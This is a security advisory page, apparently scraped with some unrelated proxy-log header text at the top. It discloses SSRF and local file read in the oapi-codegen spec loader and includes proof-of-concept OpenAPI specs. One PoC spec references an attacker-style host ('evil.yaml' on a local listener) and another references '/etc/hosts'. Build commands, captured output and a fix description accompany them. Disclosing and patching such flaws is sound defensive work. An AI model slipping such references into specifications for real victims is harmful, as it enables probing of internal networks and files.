Pewarta Proxy

πŸ“‹ Server Request & Proxy Logs

Loading active proxy settings...
Developed by Khairul Adha (adhexa.id)
Mengambil log server...

βš™οΈ Pengaturan Proxy Target

Skip to content

Server-Side Request Forgery and local file read when generating code from an untrusted OpenAPI specification

Moderate
mromaszewicz published GHSA-9cxg-r45g-3wx9 Oct 24, 2026

Package

No package listed

Affected versions

< 2.8.1

Patched versions

None

Description

Server-Side Request Forgery and local file read when generating code from an untrusted OpenAPI specification

Summary

oapi-codegen resolves external $ref values in an OpenAPI specification at code-generation time with remote references unconditionally enabled and no scheme allowlist, local-only gate, or opt-out. When a developer runs oapi-codegen (directly, through go:generate, or in CI) against a specification authored by someone else, a $ref that points at an http(s) URL causes the tool to issue an outbound HTTP request to that host, and a $ref that points at a local path causes the tool to open and read that file. This is a Server-Side Request Forgery (SSRF) and local file read primitive that fires purely from the contents of the input specification, before any developer-controlled option (such as import-mapping) is consulted.

The realistic threat model is a developer or CI pipeline generating code from a third-party specification: a public API's published spec, a vendor-supplied spec, or a specification submitted in a pull request that CI processes automatically.

Affected component / versions

  • Component: github.com/oapi-codegen/oapi-codegen/v2, spec loader pkg/util.
  • Affected: all versions up to and including the current main at commit b45ce6270ea49a2c6db6e75f52b3e97b7bf24931.
  • Verified against: HEAD b45ce6270ea49a2c6db6e75f52b3e97b7bf24931, dependency github.com/getkin/kin-openapi v0.148.0, Go 1.26.1.

Details

util.LoadSwagger builds a kin-openapi loader with external reference resolution turned on and no restriction on which references may be followed:

func LoadSwagger(filePath string) (swagger *openapi3.T, err error) {
loader := openapi3.NewLoader()
loader.IsExternalRefsAllowed = true
// Record each element's source location so route registration can be
// emitted in the order paths are declared in the spec (issue #1887).
loader.IncludeOrigin = true
u, err := url.Parse(filePath)
if err == nil && u.Scheme != "" && u.Host != "" {
return loader.LoadFromURI(u)
} else {
return loader.LoadFromFile(filePath)
}
}

The same unconditional setting is repeated in util.LoadSwaggerWithOverlay:

loader := openapi3.NewLoader()
loader.IsExternalRefsAllowed = true
loader.IncludeOrigin = true

LoadSwaggerWithOverlay is the function the command-line entry point calls on the user-supplied specification argument:

overlayOpts := util.LoadSwaggerWithOverlayOpts{
Path: opts.OutputOptions.Overlay.Path,
// default to strict, but can be overridden
Strict: true,
}
if opts.OutputOptions.Overlay.Strict != nil {
overlayOpts.Strict = *opts.OutputOptions.Overlay.Strict
}
swagger, err := util.LoadSwaggerWithOverlay(flag.Arg(0), overlayOpts)
if err != nil {

With IsExternalRefsAllowed = true and no custom ReadFromURIFunc, kin-openapi walks the document and eagerly resolves every external $ref during LoadFromFile / LoadFromDataWithPath. For an http(s) reference it performs an HTTP GET through the default HTTP client. For a local path reference it calls os.ReadFile on the referenced path, including absolute paths and paths that traverse outside the specification directory.

This resolution happens as part of loading the document, independent of import-mapping. import-mapping is only consulted later, when a resolved external reference must be turned into a Go type. As a result the outbound request and the file read occur even when the run ultimately fails with the "unrecognized external reference" error, and even when the attacker controls only the specification and none of the tool's options.

Impact

An attacker who can get a developer or CI pipeline to run oapi-codegen against a specification of the attacker's choosing can:

  • Cause the code-generation host to issue HTTP requests to arbitrary hosts and ports, including internal-only services, cloud instance metadata endpoints, and other resources reachable from the build environment (SSRF). The attacker controls the target URL and observes reachability through the tool's behavior and error output.
  • Cause the host to open and read arbitrary local files by absolute path or by relative-path traversal outside the specification directory, and distinguish existing readable files from missing ones through the differing error messages (a local file existence and read oracle).

There is no availability or integrity impact demonstrated, and raw file contents do not by themselves flow into the generated output from an attacker-only specification, so confidentiality impact is limited to internal-network reachability and filesystem probing rather than bulk data exfiltration.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base score 4.3 (Medium).

The vector reflects that the malicious specification is delivered to the victim and processed on their build host (UI:R), the attacker needs no privileges and no local access (PR:N), and the resulting impact is limited-confidentiality SSRF and file probing (C:L).

Proof of concept

Built from a clean checkout at HEAD:

cd oapi-codegen
go build -o oapi-codegen-bin ./cmd/oapi-codegen

SSRF. Start a listener on 127.0.0.1:8199, then run the tool against a spec whose response schema references the attacker host:

openapi: "3.0.0"
info:
  title: SSRF PoC
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      responses:
        '200':
          description: ok
          content:
            application/json:
              schema:
                $ref: 'http://127.0.0.1:8199/evil.yaml#/components/schemas/Pwn'
components:
  schemas:
    Local:
      type: string
./oapi-codegen-bin -package pwn -generate types ssrf-spec.yaml

The listener receives the outbound request that the tool made during load:

GET /evil.yaml HTTP/1.1
Host: 127.0.0.1:8199
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

Local file read and existence oracle. A spec with an absolute-path reference to a file outside the spec directory:

openapi: "3.0.0"
info:
  title: t
  version: "1.0.0"
paths: {}
components:
  schemas:
    W:
      type: object
      properties:
        x:
          $ref: "/etc/hosts#/nope"
./oapi-codegen-bin -package pwn -generate types abs-spec.yaml
error resolving reference "/etc/hosts#/nope": failed to unmarshal data: json error: invalid character '#' looking for beginning of value, yaml error: error unmarshaling JSON: while decoding JSON: json: cannot unmarshal string into Go value of type openapi3.TBis

The file was opened and read (parsing then failed on its contents). A reference to a nonexistent path returns a no such file or directory error naming that path instead, which distinguishes existing readable files from missing ones.

Negative control. A spec that uses only in-document references makes no outbound request and reads no external file:

openapi: "3.0.0"
info:
  title: Negative Control
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      responses:
        '200':
          description: ok
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Local'
components:
  schemas:
    Local:
      type: string
./oapi-codegen-bin -package pwn -generate types negative-spec.yaml
// Local defines model for Local.
type Local = string

Remediation

Do not resolve remote references by default when the top-level specification is a local file. Install a kin-openapi ReadFromURIFunc that reads local file references (so that the documented local-file import-mapping feature keeps working) but refuses references that resolve to a remote (http, https, or otherwise host-bearing) location unless the operator explicitly opts in. Continue to honor a top-level specification passed as an explicit remote URL, since that is the caller's own choice.

The accompanying fix.patch implements this: it adds an opt-in AllowRemoteRefs flag (default false) and a local-only reader, and wires it into both LoadSwagger and LoadSwaggerWithOverlay. After the patch, the SSRF specification above is refused with a refusing to resolve remote reference error and no request reaches the listener, while in-document references and local-file references still generate normally. Operators who intentionally split their own specification across remote URLs can set the opt-in.

Restricting local file reads to the specification directory would additionally address the file-read oracle, but is intentionally left conservative here because the documented import-mapping feature uses relative parent-directory references.

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

No CWEs